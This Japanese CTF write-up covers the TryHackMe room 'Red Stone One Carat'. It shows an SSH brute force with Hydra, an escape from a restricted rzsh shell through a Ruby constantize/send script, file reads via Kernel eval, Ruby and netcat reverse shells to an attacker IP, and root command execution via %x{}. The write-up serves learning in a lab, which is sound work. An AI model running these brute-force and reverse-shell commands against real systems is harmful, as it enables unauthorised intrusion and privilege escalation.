はじめに
この記事は、TryHackMeのwriteupです。
RoomはRed Stone One Carat、(難易度)はMediumです。
このRoomでは、SSHに対するブルートフォース攻撃やRuby言語による制限されたシェルの脱獄手法について学ぶことができます。
Recon
Port Scan
Scanned at 2026-05-24 21:25:46 JST for 5s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 62 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fe:e7:f2:f6:74:65:a6:dd:f2:94:cd:45:fd:f3:2b:2a (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDHVsUg1GJYLWn/T/EkTfAMV4tdmLEiJvPP4cCCbx7hFt3ma0FAQpMMAoXFP12+hePBYXwJfMv1epkGg0+ur9VZRSfudeSjfR+pVuPE+LjuKU8v02Fo3Wi9xkV2rOuqGkXz09xxI34OwWka/JXFYe/MEXNWCMlSYtWUx+kiOQLG83x7t9rPxXuJ4KBsCnFRm2tEgoW0M3L/PX/97bLRu/A2clOnmyPsL1kwU4MBN3UZkQJCptM+EkqQqo8NMOlw3Sa6JnpGImHdSMBrGUoFo6yL+3i+KMR3foIVbW8WtTY+EKfaDt0e5MAhT1YLgZHdkR58Dh0kPoVRk59iw2divYll
| 256 34:a3:16:aa:b3:1f:83:ac:91:a3:31:b4:45:94:3c:c9 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJf9gbS/xBNED4k9vQscQ6Xi4VMzkK2MuFW0YJs5OQ854rlmaELtcwjEIZ9o+2SOVXwx8vH101rlIFQC0pISFP0=
| 256 75:23:c0:66:c7:2c:6e:12:0a:f7:04:61:2b:c6:12:62 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ7ai11Zz/i/bAw8SQG0aBJfcYjdIiQQiAXhV8/9b3km
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
上記のポートスキャンから調査をします。
Scanning
今回の問題は少し特殊ですが、sshに対してブルートフォース攻撃を行います。
今回、Task2ではこんなことが書かれています。
Start with SSH bruteforce on user
noraj.
norajというユーザー名に対してパスワードスプレー攻撃を試みます。
また、ヒントではこう書かれています。
The password contains "bu".
このことから、辞書ファイルから、buが含まれる単語だけに絞った方が良さそうです。
以下のように実行します。元の辞書ファイルはrockyou.txtから作成しました。
┌──(rikuxx㉿kali)-[~/tryhackme/Red_Stone_One_Carat]
└─$ grep "bu" /usr/share/wordlists/rockyou.txt > pass.txt
grep: /usr/share/wordlists/rockyou.txt: binary file matches
Hydra
その後、Hydraを用いて、パスワードスプレー攻撃を行います。
┌──(rikuxx㉿kali)-[~/tryhackme/Red_Stone_One_Carat]
└─$ hydra -l noraj -P ./pass.txt [target_ip] ssh -t 4
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-24 21:54:16
[DATA] max 4 tasks per 1 server, overall 4 tasks, 126338 login tries (l:1/p:126338), ~31585 tries per task
[DATA] attacking ssh://[target_ip]:22/
[STATUS] 84.00 tries/min, 84 tries in 00:01h, 126254 to do in 25:04h, 4 active
[22][ssh] host: [target_ip] login: noraj password: [LEAKED_PASSWORD]
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-24 21:56:45
よって、[LEAKED_PASSWORD]をリークすることに成功しました。
SSH password
Answer: [LEAKED_PASSWORD]
特定したクレデンシャル情報を用いて、SSHログインを試みます。
┌──(rikuxx㉿kali)-[~/tryhackme/Red_Stone_One_Carat]
└─$ ssh noraj@[target_ip]
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
noraj@[target_ip]'s password:
getent:6: command not found: grep
compdump:136: command not found: mv
red-stone-one-carat%
よって、SSH接続に成功しました。
ただ、このシェル内ではコマンドが制限されているようです。
red-stone-one-carat% ls
zsh: command not found: ls
red-stone-one-carat% mv
zsh: command not found: mv
red-stone-one-carat% grep
zsh: command not found: grep
red-stone-one-carat%
現状の環境変数を見ることができるかを検証します。
red-stone-one-carat% echo $PATH
/home/noraj/bin
どうやら、/home/noraj/binが環境変数として設定されているようです。
環境変数をルートディレクトリに戻そうとするとこれも制限されるようです。
red-stone-one-carat% export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
export: PATH: restricted
また、隠しファイルやls、catも使えません。
red-stone-one-carat% /bin/ls -la
zsh: /bin/ls: restricted
red-stone-one-carat% /bin/cat /etc/passwd
zsh: /bin/cat: restricted
red-stone-one-carat% /bin/ls -la /home/noraj/bin
zsh: /bin/ls: restricted
ところが、echoコマンドはなんとか使えそうです。
red-stone-one-carat% echo *
bin user.txt
そこで、echoコマンドを使用し、変数として設定した後に見ることでuser.txtの内容が表示されます。結果として、ユーザーフラグを取得することができます。
red-stone-one-carat% echo "$(<user.txt)"
THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
user.txt
Answer: THM{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}
Exploitation
root.txtを取るためには以下のようなヒントがあります。
Hint: Do in Ruby what you can't do in another way.
つまり、Ruby特有の何かで突破する必要がありそうです。
/home/noraj/bin/の中にはrzshとtest.rbという二つのファイルがあります。
red-stone-one-carat% echo bin/*
bin/rzsh bin/test.rb
rzshとは、制限付きのシェル(RESTRICTED SHELL) です。システム運用アカウントのために役に立つシェルです。rzsh は、zsh に付属しているようです。
では、test.rbの中身を見てみましょう
red-stone-one-carat% echo "$(<bin/test.rb)"
#!/usr/bin/ruby
require 'rails'
if ARGV.size == 3
klass = ARGV[0].constantize
obj = klass.send(ARGV[1].to_sym, ARGV[2])
else
puts File.read(__FILE__)
end
このRubyファイルはそのままだと実行できません。
red-stone-one-carat% ./bin/test.rb
zsh: ./bin/test.rb: restricted
Vulnerability Assessment from Source Code
ここで、test.rbからあることに気づきました。
test.rb: 4行目~6行目
if ARGV.size == 3
klass = ARGV[0].constantize
obj = klass.send(ARGV[1].to_sym, ARGV[2])
このコードでは、以下のような処理を行っています:
-
ARGV.size == 3であることから、引数を3つ渡す必要があります -
ARGV[0].constantizeにより、1つ目の引数で指定した文字列を、Rubyのクラス名(オブジェクト)に変換します(Ruby on Railsの機能) -
klass.send(ARGV[1].to_sym, ARGV[2])により、そのクラスに対して、2つ目の引数で指定したメソッドを実行し、3つ目の引数をそのメソッドの引数として渡します
つまり、任意のクラスの任意のメソッドに、好きな引数を1つ渡して実行させることができる状態です。また、5行目のklass = ARGV[0].constantizeにより、指定された文字列をクラス名に変換するRuby on Railsの機能から、文字列の中にさらにコードを仕込んで任意のコマンド実行ができるかもしれません。
そこで、Rubyには、システムコマンドを実行するための Kernel モジュールや、コマンドを実行するための system や exec といったメソッドが存在します。これらをこのスクリプト経由で呼び出すことで、制限付きシェル(rzsh)をバイパスして新しいシェルを起動できるかもしれません。
実際に以下のようなコマンドを実行します。
red-stone-one-carat% test.rb Kernel system /bin/sh
red-stone-one-carat% test.rb Kernel exec /bin/sh
Traceback (most recent call last):
1: from /home/noraj/bin/test.rb:7:in `<main>'
/home/noraj/bin/test.rb:7:in `exec': Permission denied - /bin/sh (Errno::EACCES)
red-stone-one-carat%
red-stone-one-carat% test.rb Kernel warn "hello"
hello
すると、execの場合はエラーになりますが、systemメソッドで尚且つ、/bin/shを使わなければいけそうです。
Kernelモジュールのevalメソッドによる任意のファイルの読み出し
さらに調査を進めると、以下のことが判明しました。
red-stone-one-carat% test.rb Kernel eval 'Kernel.warn(File.read("/etc/passwd"))'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
vagrant:x:1000:1000:vagrant,,,:/home/vagrant:/bin/bash
noraj:x:1001:1001::/home/noraj:/bin/rzsh
red-stone-one-carat%
どうやら、evalメソッドを使用し、その中で、Rubyのコードを実行することで任意のファイルを読み出すことに成功しました。
また、UIDを見ることもできそうです。
red-stone-one-carat% test.rb Kernel eval 'Kernel.warn("UID: #{Process.uid} / User: #{Etc.getpwuid(Process.uid).name}")'
UID: 1001 / User: noraj
リバースシェルを作成します。
- 攻撃側
┌──(rikuxx㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
- ターゲット側
red-stone-one-carat% test.rb Kernel eval 'require "socket"; s=TCPSocket.open("[MY_IP]", 4444); s.puts "=== Ruby Interactive Shell ==="; loop { s.print "rb> "; cmd = s.gets; break if cmd.nil? || cmd.chomp == "exit"; begin; result = eval(cmd); s.puts "=> #{result.inspect}"; rescue Exception => e; s.puts "Error: #{e.message}"; end }'
このようにすることで多少はやりやすくなりそうですが、肝心のシェルが実は取れていません。これはあくまでRubyコードを評価するためだけの擬似的なシェルでしかありません。
┌──(rikuxx㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [MY_IP] from (UNKNOWN) [10.49.182.152] 55380
=== Ruby Interactive Shell ===
rb>
ここで、.hint.txtというものを発見したので、見てみましょう。
rb> File.read("/home/noraj/.hint.txt")
=> "Maybe take a look at local services."
rb>
どうやら、ローカルサービスに何かありそうです。
正直、頭をずっと抱えていたので、他のwriteupを見ることにしました。
どうやら、初動からミスっていたようです。
red-stone-one-carat% test.rb Kernel 'system' "/bin/sh"
systemメソッドをシングルクオーテーション(')で囲み、文字列として認識させるとそもそもOSコマンドインジェクションができるようになっていたっぽいです。(ただのカスです)
また、/binの中には、nc.traditioanlという名前のnetcatがいたようです。
実際にリバースシェルを行います。
- 攻撃側
┌──(rikuxx㉿kali)-[~/tryhackme/Red_Stone_One_Carat]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
- ターゲット側
red-stone-one-carat% test.rb Kernel 'system' "/bin/nc.traditional [MY_IP] 4444 -e /bin/zsh"
このように、何も見えませんが、これでリバースシェルは成功しています。
┌──(rikuxx㉿kali)-[~/tryhackme/Red_Stone_One_Carat]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [MY] from (UNKNOWN) [10.49.182.152] 39610
また、環境変数をルートディレクトリに設定すること、任意のコマンドを実行することができます。
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
whoami;hostname;id
noraj
red-stone-one-carat
uid=1001(noraj) gid=1001(noraj) groups=1001(noraj)
また、この環境変数であればnetcatが使用できるため、ローカルサービスでどんなサービスがあるのかを調べます。
ターゲット側では以下を実行します。
nc -zvnw 1 127.0.0.1 1-65535
すると、攻撃者側でどんなポートが開いているのかを調べることができます。
(UNKNOWN) [127.0.0.1] 36548 (?) open
(UNKNOWN) [127.0.0.1] 31547 (?) open
(UNKNOWN) [127.0.0.1] 22 (ssh) open
このことから、実際にポート番号31547が開いているので、接続を試みます。
nc 127.0.0.1 31547
$
すると、やっと環境を触れそうなシェルを得ることに成功しました。
Privilege Escalation
しかし、このシェルでも実行が制限されています。
$ echo hello?
undefined method `hello?' for main:Object
そこで色々模索していたところ、以下のような記事がありました。
どうやら、組み込み構文である%x{ cmd }により、シェルコマンドを呼び出すことができるようです。
実際に試してみると、なんとroot権限まで取ることができてしまいました。
$ %x{id}
uid=0(root) gid=0(root) groups=0(root)
$
ただ、cat /root/root.txtだと制限されてしまいますが、/root/*で全表示させることで、ルートフラグを取得することができます。
$ %x{cat /root/*}
THM{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}require 'socket'
server = TCPServer.new 'localhost', 31547
begin
while client = server.accept
client.print '$ '
while line = client.gets
if /[\`\(\)\[\]\.\'\"\<\>]+/.match?(line)
client.puts 'Forbidden character'
elsif /exit/i.match?(line)
break
else
begin
client.puts eval(line)
rescue NameError => e
client.puts e
end
end
client.print '$ '
end
client.puts "Closing the client. Bye!\n"
client.close
#server.close
end
rescue Errno::ECONNRESET, Errno::EPIPE => e
puts e.message
retry
end
$
root.txt
Answwer: THM{YYYYYYYYYYYYYYYYYYYYYYYYYYYYYYYY}
終わりに
今回は、ブルートフォース攻撃によるログイン後にある制限されたシェルから、Rubyを用いて権限昇格まで行うペンテストラボについて解きました。
最初は割と簡単でしたが、Rubyの仕様を知っていないとわからないようなドメイン知識が多かったなぁという印象でした。結構、制限されたシェルからの脱獄はオモロいなと思いました。
ちなみに、このラボの作成者は、なんとArchBlack Linuxの開発者の一人らしいです。
自分も早く、aptパッケージから卒業して、pacmanを使えるようになりたいですね。今だに変えても慣れません。
Ruby言語におけるShell Commandについて
ここでは、Ruby言語のShell Commandの呼び出し方やそもそもRubyのKernelモジュールとは何かについて取り上げ、どういったものなのかを整理できたらと考えています。
Tips
RubyのKernelモジュールとは?
全てのクラスから参照できるメソッドを定義しているモジュール。 Object クラスはこのモジュールをインクルードしています。
Object クラスのメソッドは実際にはこのモジュールで定義されています。これはトップレベルでのメソッドの再定義に対応するためです。
引用: https://docs.ruby-lang.org/ja/latest/class/Kernel.html
要は、システムコマンドを実行するためのコマンド実行するためのメソッドが多く含まれており、 system や exec といったメソッドが存在します。
これを利用し、リバースシェルや何かしらの任意コマンド実行することが可能になっています。
constantizeメソッドにおけるシェルコマンドの呼び出し
The constantize method is a Rails metaprogramming method that converts a string into a constant reference (typically a class or module). For example, "User".constantize returns the User class. This is commonly used to dynamically instantiate classes based on runtime conditions.
The Security Risk: When user-supplied input is passed to constantize, an attacker can instantiate any accessible class in the application, including dangerous system classes. This can lead to arbitrary code execution, information disclosure, or denial of service.
constantizeメソッドは、文字列を定数参照(通常はクラスやモジュール)に変換するRailsのメタプログラミングメソッドです。例えば、"User".constantizeはUserクラスを返します。これは、実行時の条件に基づいてクラスを動的にインスタンス化するために一般的に使用されます。セキュリティ上のリスク:ユーザーから提供された入力が
constantizeに渡されると、攻撃者はアプリケーション内でアクセス可能な任意のクラス(危険なシステムクラスを含む)をインスタンス化できてしまいます。これにより、任意のコード実行、情報漏洩、またはサービス拒否(DoS)攻撃につながる可能性があります。(日本語訳)
引用: https://github.com/OWASP/railsgoat/wiki/Extras:-Constantize#description
Rubyには、文字列を定数参照(通常はクラスやモジュール)に変換するRailsのメタプログラミングメソッドというメソッドがあります。しかし、ここを起点に検証されている定数化やパスドラバーサルを引き起こす脆弱性がありました。
このことから、パス名クラスを介した情報漏洩やERBテンプレートを介したコード実行、サービス拒否攻撃になる可能性があります。
また、Constantizeメソッドにはペストプラクティスも公開されており、参考になると思います。
組み込み構文によるシェルコマンドの呼び出し
以下の記事より、Rubyからシェルコマンドを呼び出す方法が書かれています。
この中では、4つの方法が挙げられています。
-
``によるシェルコード実行 - 組み込み構文によるシェルコード実行
-
Kernel#systemによるシェルコード実行 -
Kernel#execによるシェルコード実行
具体的なコードは、上記のStack Overflowの記事にあります。これらを利用して、シェル内のファイル探索やOSコマンド実行などを行うことが可能です。
少しでも、Rubyのペンテストラボを解く上でご参考になると幸いです。